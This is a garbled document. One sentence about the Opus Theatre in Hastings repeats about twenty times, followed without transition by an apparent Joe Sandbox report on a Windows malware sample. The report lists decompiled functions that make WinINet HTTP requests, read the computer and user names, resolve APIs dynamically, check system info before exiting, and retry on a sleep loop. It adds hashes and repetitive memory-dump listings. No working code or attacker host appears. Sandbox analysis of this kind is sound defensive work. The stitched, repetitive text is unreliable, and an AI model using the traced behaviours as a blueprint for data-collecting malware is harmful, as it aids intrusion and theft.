opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 1ec63368ac90290df2651a419ecfb432a7f3223f3cc3d456fa92e8a319e767e3
Instruction ID: 2208ab4b215d7829a1ba45658ecc6d45c7bbef31fd69ca975d7465c8b1b000d8
Opcode Fuzzy Hash: 1ec63368ac90290df2651a419ecfb432a7f3223f3cc3d456fa92e8a319e767e3
Instruction Fuzzy Hash: 7B414629BC67047AEE3DBFB58843F9D77DB7F4674AF505840AC2412398CBB069806712

Function 00A76280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A74839
Part of subcall function 00A747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A74849

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

InternetOpenA.WININET(00A90DFE,00000001,00000000,00000000,00000000), ref: 00A762E1
StrCmpCA.SHLWAPI(?,0068F400), ref: 00A76303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A76335
HttpOpenRequestA.WININET(00000000,GET,?,0068EC88,00000000,00000000,00400100,00000000), ref: 00A76385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00A763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A7646D
InternetCloseHandle.WININET(00000000), ref: 00A764EF
InternetCloseHandle.WININET(00000000), ref: 00A764F9
InternetCloseHandle.WININET(00000000), ref: 00A76503

Strings

ERROR, xrefs: 00A76407
GET, xrefs: 00A7637C
ERROR, xrefs: 00A764C9

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 274589c5445d171c9d41792a794e0697e524f225ecc7565f15a28a4e95d447aa
Instruction ID: f804dd77b314b8bce77a0f614d37f35a7d24df553debbde1d7075b825a00a33b
Opcode Fuzzy Hash: 274589c5445d171c9d41792a794e0697e524f225ecc7565f15a28a4e95d447aa
Instruction Fuzzy Hash: 80714F71A00218ABEF24EFA0DD49FEE77B8BB44700F108199F109AB5D0DBB56A85CF51

Function 00A878E0 Relevance: 4.5, APIs: 3, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A87910
RtlAllocateHeap.NTDLL(00000000), ref: 00A87917
GetComputerNameA.KERNEL32(?,00000104), ref: 00A8792F

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 8f88741216c634147681afa85c0c6fc063c2248432ebb20d0e2bbc1731aed34d
Instruction ID: 50e6b3d0eb1c8909134c0fa560a077a4b7c9a656c23f727736d1207ea4c48734
Opcode Fuzzy Hash: 8f88741216c634147681afa85c0c6fc063c2248432ebb20d0e2bbc1731aed34d
Instruction Fuzzy Hash: 7E01A9B1A04204EFC740DF94DD45FAEBBB8F704B21F104219F555E36C0D37559408BA1

Function 00A87850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A711B7), ref: 00A87880
RtlAllocateHeap.NTDLL(00000000), ref: 00A87887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A8789F

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e8c09e220b08f8781ef5b5a4a6c5a69032605db58eea88f8271bfae9dfe40828
Instruction ID: 79b7506ae8edbeebe402d208f4f4c01c9ed5d27d835b1152c61f3afb180fb895
Opcode Fuzzy Hash: e8c09e220b08f8781ef5b5a4a6c5a69032605db58eea88f8271bfae9dfe40828
Instruction Fuzzy Hash: 4DF04FB1944208ABC700DF98DD49FAEBBB8FB04711F10065AFA05A2680C77559048BA1

Function 00A71160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00A7116A
ExitProcess.KERNEL32 ref: 00A7117E

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: e93a74fa5e64b3a044bed4d863d12dfac3acd9617880cc21fb5fbf5270e4d7e3
Instruction ID: 308a9962e622f41d15a917c2dbd6d88cfb4d3e50480c5603c6907ace522de8e0
Opcode Fuzzy Hash: e93a74fa5e64b3a044bed4d863d12dfac3acd9617880cc21fb5fbf5270e4d7e3
Instruction Fuzzy Hash: 57D05E7490430CDBCB00DFE0DC497DDBBB8FB0C321F000698D90572340EA315481CAA6

Function 00A89C10 Relevance: 235.2, APIs: 112, Strings: 22, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,00675428), ref: 00A89C2D
GetProcAddress.KERNEL32(77190000,00675448), ref: 00A89C45
GetProcAddress.KERNEL32(77190000,00689080), ref: 00A89C5E
GetProcAddress.KERNEL32(77190000,00689050), ref: 00A89C76
GetProcAddress.KERNEL32(77190000,00688FC0), ref: 00A89C8E
GetProcAddress.KERNEL32(77190000,0068D530), ref: 00A89CA7
GetProcAddress.KERNEL32(77190000,0067A6B8), ref: 00A89CBF
GetProcAddress.KERNEL32(77190000,0068D500), ref: 00A89CD7
GetProcAddress.KERNEL32(77190000,0068D5C0), ref: 00A89CF0
GetProcAddress.KERNEL32(77190000,0068D560), ref: 00A89D08
GetProcAddress.KERNEL32(77190000,0068D4D0), ref: 00A89D20
GetProcAddress.KERNEL32(77190000,00675608), ref: 00A89D39
GetProcAddress.KERNEL32(77190000,006756A8), ref: 00A89D51
GetProcAddress.KERNEL32(77190000,00675648), ref: 00A89D69
GetProcAddress.KERNEL32(77190000,00675668), ref: 00A89D82
GetProcAddress.KERNEL32(77190000,0068D578), ref: 00A89D9A
GetProcAddress.KERNEL32(77190000,0068D440), ref: 00A89DB2
GetProcAddress.KERNEL32(77190000,0067A938), ref: 00A89DCB
GetProcAddress.KERNEL32(77190000,006753C8), ref: 00A89DE3
GetProcAddress.KERNEL32(77190000,0068D548), ref: 00A89DFB
GetProcAddress.KERNEL32(77190000,0068D590), ref: 00A89E14
GetProcAddress.KERNEL32(77190000,0068D4B8), ref: 00A89E2C
GetProcAddress.KERNEL32(77190000,0068D608), ref: 00A89E44
GetProcAddress.KERNEL32(77190000,006756C8), ref: 00A89E5D
GetProcAddress.KERNEL32(77190000,0068D368), ref: 00A89E75
GetProcAddress.KERNEL32(77190000,0068D620), ref: 00A89E8D
GetProcAddress.KERNEL32(77190000,0068D5A8), ref: 00A89EA6
GetProcAddress.KERNEL32(77190000,0068D428), ref: 00A89EBE
GetProcAddress.KERNEL32(77190000,0068D518), ref: 00A89ED6
GetProcAddress.KERNEL32(77190000,0068D5D8), ref: 00A89EEF
GetProcAddress.KERNEL32(77190000,0068D5F0), ref: 00A89F07
GetProcAddress.KERNEL32(77190000,0068D398), ref: 00A89F1F
GetProcAddress.KERNEL32(77190000,0068D458), ref: 00A89F38
GetProcAddress.KERNEL32(77190000,0067FD48), ref: 00A89F50
GetProcAddress.KERNEL32(77190000,0068D3F8), ref: 00A89F68
GetProcAddress.KERNEL32(77190000,0068D380), ref: 00A89F81
GetProcAddress.KERNEL32(77190000,00675708), ref: 00A89F99
GetProcAddress.KERNEL32(77190000,0068D338), ref: 00A89FB1
GetProcAddress.KERNEL32(77190000,006753A8), ref: 00A89FCA
GetProcAddress.KERNEL32(77190000,0068D470), ref: 00A89FE2
GetProcAddress.KERNEL32(77190000,0068D350), ref: 00A89FFA
GetProcAddress.KERNEL32(77190000,00675548), ref: 00A8A013
GetProcAddress.KERNEL32(77190000,006753E8), ref: 00A8A02B
LoadLibraryA.KERNEL32(0068D3B0,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A03D
LoadLibraryA.KERNEL32(0068D3C8,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A04E
LoadLibraryA.KERNEL32(0068D3E0,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A060
LoadLibraryA.KERNEL32(0068D4E8,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A072
LoadLibraryA.KERNEL32(0068D410,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A083
LoadLibraryA.KERNEL32(0068D488,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A095
LoadLibraryA.KERNEL32(0068D4A0,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A0A7
LoadLibraryA.KERNEL32(0068D710,?,00A85CA3,00A90AEB,?,?,?,?,?,?,?,?,?,?,00A90AEA,00A90AE3), ref: 00A8A0B8
GetProcAddress.KERNEL32(77040000,006750C8), ref: 00A8A0DA
GetProcAddress.KERNEL32(77040000,0068D680), ref: 00A8A0F2
GetProcAddress.KERNEL32(77040000,00688B38), ref: 00A8A10A
GetProcAddress.KERNEL32(77040000,0068D698), ref: 00A8A123
GetProcAddress.KERNEL32(77040000,006752A8), ref: 00A8A13B
GetProcAddress.KERNEL32(70630000,0067A668), ref: 00A8A160
GetProcAddress.KERNEL32(70630000,00675208), ref: 00A8A179
GetProcAddress.KERNEL32(70630000,0067A758), ref: 00A8A191
GetProcAddress.KERNEL32(70630000,0068D6E0), ref: 00A8A1A9
GetProcAddress.KERNEL32(70630000,0068D740), ref: 00A8A1C2
GetProcAddress.KERNEL32(70630000,00674FE8), ref: 00A8A1DA
GetProcAddress.KERNEL32(70630000,00675148), ref: 00A8A1F2
GetProcAddress.KERNEL32(70630000,0068D7D0), ref: 00A8A20B
GetProcAddress.KERNEL32(768D0000,00675288), ref: 00A8A22C
GetProcAddress.KERNEL32(768D0000,00675168), ref: 00A8A244
GetProcAddress.KERNEL32(768D0000,0068D6C8), ref: 00A8A25D
GetProcAddress.KERNEL32(768D0000,0068D6F8), ref: 00A8A275
GetProcAddress.KERNEL32(768D0000,00675008), ref: 00A8A28D
GetProcAddress.KERNEL32(75790000,0067A898), ref: 00A8A2B3
GetProcAddress.KERNEL32(75790000,0067A848), ref: 00A8A2CB
GetProcAddress.KERNEL32(75790000,0068D6B0), ref: 00A8A2E3
GetProcAddress.KERNEL32(75790000,00675048), ref: 00A8A2FC
GetProcAddress.KERNEL32(75790000,006751E8), ref: 00A8A314
GetProcAddress.KERNEL32(75790000,0067A730), ref: 00A8A32C
GetProcAddress.KERNEL32(75A10000,0068D788), ref: 00A8A352
GetProcAddress.KERNEL32(75A10000,006750E8), ref: 00A8A36A
GetProcAddress.KERNEL32(75A10000,00688C78), ref: 00A8A382
GetProcAddress.KERNEL32(75A10000,0068D758), ref: 00A8A39B
GetProcAddress.KERNEL32(75A10000,0068D728), ref: 00A8A3B3
GetProcAddress.KERNEL32(75A10000,006751C8), ref: 00A8A3CB
GetProcAddress.KERNEL32(75A10000,00675128), ref: 00A8A3E4
GetProcAddress.KERNEL32(75A10000,0068D638), ref: 00A8A3FC
GetProcAddress.KERNEL32(75A10000,0068D7E8), ref: 00A8A414
GetProcAddress.KERNEL32(76850000,006751A8), ref: 00A8A436
GetProcAddress.KERNEL32(76850000,0068D770), ref: 00A8A44E
GetProcAddress.KERNEL32(76850000,0068D7A0), ref: 00A8A466
GetProcAddress.KERNEL32(76850000,0068D7B8), ref: 00A8A47F
GetProcAddress.KERNEL32(76850000,0068D650), ref: 00A8A497
GetProcAddress.KERNEL32(75690000,00675228), ref: 00A8A4B8
GetProcAddress.KERNEL32(75690000,00675248), ref: 00A8A4D1
GetProcAddress.KERNEL32(769C0000,00674FC8), ref: 00A8A4F2
GetProcAddress.KERNEL32(769C0000,0068D668), ref: 00A8A50A
GetProcAddress.KERNEL32(6F8C0000,00675268), ref: 00A8A530
GetProcAddress.KERNEL32(6F8C0000,00675108), ref: 00A8A548
GetProcAddress.KERNEL32(6F8C0000,00675188), ref: 00A8A560
GetProcAddress.KERNEL32(6F8C0000,0068D128), ref: 00A8A579
GetProcAddress.KERNEL32(6F8C0000,00675348), ref: 00A8A591
GetProcAddress.KERNEL32(6F8C0000,00675068), ref: 00A8A5A9
GetProcAddress.KERNEL32(6F8C0000,00675088), ref: 00A8A5C2
GetProcAddress.KERNEL32(6F8C0000,00675028), ref: 00A8A5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 00A8A5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 00A8A607
GetProcAddress.KERNEL32(75D90000,0068D278), ref: 00A8A629
GetProcAddress.KERNEL32(75D90000,00688B48), ref: 00A8A641
GetProcAddress.KERNEL32(75D90000,0068D260), ref: 00A8A659
GetProcAddress.KERNEL32(75D90000,0068D0C8), ref: 00A8A672
GetProcAddress.KERNEL32(76470000,00675328), ref: 00A8A693
GetProcAddress.KERNEL32(70220000,0068D140), ref: 00A8A6B4
GetProcAddress.KERNEL32(70220000,006750A8), ref: 00A8A6CD
GetProcAddress.KERNEL32(70220000,0068D068), ref: 00A8A6E5
GetProcAddress.KERNEL32(70220000,0068D1E8), ref: 00A8A6FD

Strings

HRg, xrefs: 00A8A4C3
hVg, xrefs: 00A89D74
HVg, xrefs: 00A89D5C
HttpQueryInfoA, xrefs: 00A8A5FC
HQg, xrefs: 00A8A1E5
InternetSetOptionA, xrefs: 00A8A5E5
HUg, xrefs: 00A8A005
(Rg, xrefs: 00A8A4AB
hRg, xrefs: 00A8A522
hPg, xrefs: 00A8A59C
(Sg, xrefs: 00A8A686
(Qg, xrefs: 00A8A3D6
HPg, xrefs: 00A8A2EE
HSg, xrefs: 00A8A584
Sg, xrefs: 00A8A01E
hQg, xrefs: 00A8A237
(Pg, xrefs: 00A8A5CD
Qg, xrefs: 00A8A307
HTg, xrefs: 00A89C38
(Tg, xrefs: 00A89C20
Pg, xrefs: 00A8A35D
Og, xrefs: 00A8A1CD

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: (Pg$(Qg$(Rg$(Sg$(Tg$HPg$HQg$HRg$HSg$HTg$HUg$HVg$HttpQueryInfoA$InternetSetOptionA$hPg$hQg$hRg$hVg$Og$Pg$Qg$Sg
API String ID: 2238633743-1928899926
Opcode ID: ebc7d19894625882505d419f58c4940e5c56f3160f38059496bd6eed2e38796f
Instruction ID: 018516d9a1223d3ab8d1c45453b800a1758b428defc346c87ddc4f57bf53adea
Opcode Fuzzy Hash: ebc7d19894625882505d419f58c4940e5c56f3160f38059496bd6eed2e38796f
Instruction Fuzzy Hash: 0B622BB5508200AFC754DFA9ED88B6E37F9F74C301F24871AA689D3674DA3A9841DF12

Function 00A85510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A8A820: lstrlen.KERNEL32(00A74F05,?,?,00A74F05,00A90DDE), ref: 00A8A82B
Part of subcall function 00A8A820: lstrcpy.KERNEL32(00A90DDE,00000000), ref: 00A8A885

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A85644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A85857

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A85228

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A85318
Part of subcall function 00A852C0: lstrlen.KERNEL32(00000000), ref: 00A8532F
Part of subcall function 00A852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00A85364
Part of subcall function 00A852C0: lstrlen.KERNEL32(00000000), ref: 00A85383
Part of subcall function 00A852C0: lstrlen.KERNEL32(00000000), ref: 00A853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A8578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A85940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A85A0C
Sleep.KERNEL32(0000EA60), ref: 00A85A1B

Strings

ERROR, xrefs: 00A85932
ERROR, xrefs: 00A85636
ERROR, xrefs: 00A859FE
ERROR, xrefs: 00A85849
ERROR, xrefs: 00A85693
ERROR, xrefs: 00A8577D
Tg, xrefs: 00A85585, 00A855E3

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

